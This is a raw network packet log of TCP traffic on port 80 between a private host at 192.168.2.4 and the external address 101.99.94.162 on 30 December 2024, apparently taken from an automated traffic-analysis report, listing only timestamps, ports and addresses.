Dec 30, 2024 19:45:49.675791025 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675792933 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675806046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675810099 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675817966 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675828934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675833941 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675844908 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675854921 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675856113 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675878048 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.675893068 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.675919056 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773529053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773544073 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773588896 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773601055 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773611069 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773612976 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773627996 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773638964 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773649931 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773659945 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773660898 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773684025 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773703098 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773758888 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773767948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773808956 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773819923 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773864031 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773880005 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773890018 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773901939 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773931980 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.773983955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.773996115 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774005890 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774017096 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774027109 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774029970 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774066925 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774211884 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774230003 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774240017 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774286985 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774312019 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774358034 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774388075 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774399042 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774410009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774420977 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774431944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774441004 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774461985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774471998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774478912 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774504900 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774507999 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774518967 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774566889 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774570942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774583101 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774594069 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774621010 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774636030 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774646997 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774666071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774676085 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774718046 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774859905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774878025 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774888039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774919033 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774938107 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.774945021 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774954081 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774960995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.774971008 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775001049 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775012016 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775137901 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775151014 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775167942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775182962 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775186062 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775196075 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775206089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775216103 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775237083 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775264978 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775289059 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775302887 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775319099 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775330067 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775342941 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775353909 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775372028 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775382042 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775392056 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775403023 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775420904 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775453091 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775552988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775572062 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775602102 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775634050 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775645971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775657892 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775671959 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775681019 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775686026 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775717974 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775747061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775758982 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775768995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775815010 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775887012 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775897026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775907993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775917053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.775938988 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.775950909 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.883503914 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883526087 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883537054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883548021 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883559942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883572102 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883588076 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883589983 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.883598089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883619070 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.883641005 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.883728981 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883742094 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883752108 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883785963 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.883810043 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883822918 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883832932 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883860111 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.883889914 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.883902073 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883913994 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883924961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.883954048 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884001970 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884011984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884047031 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884109020 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884118080 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884134054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884146929 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884156942 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884167910 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884191036 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884222984 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884289026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884306908 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884319067 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884330988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884349108 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884350061 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884366035 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884377956 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884387970 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884411097 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884493113 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884504080 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884515047 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884525061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884553909 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884567976 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884620905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884630919 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884676933 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884685993 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884686947 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884702921 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884730101 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884752035 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884754896 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884767056 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884802103 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884849072 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884860992 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884871006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.884905100 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.884999037 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885016918 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885030031 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885040998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885041952 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885051966 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885065079 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885102987 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885149002 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885159016 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885169983 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885175943 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885224104 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885268927 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885279894 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885335922 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885396004 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885406017 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885416031 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885426998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885447979 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885478973 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885478973 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885492086 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885503054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885529041 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885549068 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885561943 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885591030 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885708094 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885716915 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885726929 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885737896 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885749102 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885799885 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885812998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885842085 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885855913 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885865927 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.885890007 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.885909081 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993311882 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993376017 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993386030 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993396044 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993407965 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993418932 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993431091 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993434906 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993441105 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993458033 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993474960 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993509054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993520021 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993530035 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993546963 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993557930 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993568897 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993583918 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993711948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993722916 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993757963 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993789911 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993799925 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993812084 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993838072 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993868113 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993868113 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993877888 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993885040 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993895054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993930101 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993937969 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993947029 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993957996 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.993961096 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993971109 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993988991 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.993998051 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994000912 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994038105 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994225979 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994235992 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994246006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994265079 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994275093 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994286060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994290113 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994298935 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994312048 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994332075 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994553089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994570971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994581938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994592905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994604111 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994613886 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994617939 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994623899 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994642019 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994652987 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994652987 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994663000 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994664907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994704008 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994743109 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994754076 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994764090 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994784117 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994802952 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994894981 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994904995 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994915009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994925022 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.994947910 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.994961023 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.995217085 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995235920 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995246887 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995256901 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995266914 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995280981 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.995295048 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.995424032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995467901 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.995491028 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995501041 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995512009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995517015 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995522976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995527983 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995537043 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995542049 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995593071 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.995596886 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995651960 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995661974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995672941 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995693922 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.995719910 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.995754004 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995764971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995774984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.995803118 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103173018 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103183985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103194952 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103205919 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:50.103233099 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103261948 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:50.103296995 CET	80	50071	101.99.94.162	192.168.2.4
